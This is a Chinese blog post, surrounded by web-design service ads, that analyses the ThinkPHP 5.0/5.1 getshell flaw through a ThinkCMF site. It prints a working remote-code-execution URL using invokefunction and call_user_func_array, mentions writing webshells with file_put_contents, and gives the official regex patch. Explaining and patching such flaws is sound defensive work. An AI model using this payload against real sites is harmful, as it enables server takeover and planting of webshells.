符合中小企业对网站设计、功能常规化式的企业展示型网站建设
本套餐主要针对企业品牌型网站、中高端设计、前端互动体验...
商城网站建设因基本功能的需求不同费用上面也有很大的差别...
手机微信网站开发、微信官网、微信商城网站...
这篇文章将为大家详细讲解有关thinkphp5.0和5.1的getshell漏洞示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。
大厂网站建设公司创新互联建站,大厂网站设计制作,有大型网站制作公司丰富经验。已为大厂千余家提供企业网站建设服务。企业网站搭建\成都外贸网站建设要多少钱,请找那个售后服务好的大厂做网站的公司定做!之前网站被提权了,那时候网站才建没几天,应该不会有人故意为之,可能是批量扫描getshell的,为了方便我找的是开源系统thinkcmf建了博客,看着挺不错的,因为thinkcmf用的是thinkphp5.0的框架开发的,我到thinkphp.cn上去看了一下,原来有一个提权漏洞。
libaray/think/app.php文件中模块,控制器,方法使用的是/来区分开来。
然后并没有对控制器进行过滤,导致可以构造执行各种函数
我在本地建一个虚拟主机测试http://cmf.com
构造一个url访问,可以直接打印出phpinfo:
http://cmf.com/index.php?s=portal/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
然后你可以把phpinfo换成其他函数,比如使用file_put_content函数创建各种大马小马文件。
TP官方的修复5.0方法是:
在think\App
类的module
方法的获取控制器的代码后面加上
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
我用的thinkcmf的版本是:ThinkCMF 5.0.180901
然后我看了一下thinkcmf的官网已经更新到5.0.190111,新版也更新了tp5.0到新版本5.0.24了包含了安全更新,当然也没有这个提权漏洞了。
关于“thinkphp5.0和5.1的getshell漏洞示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。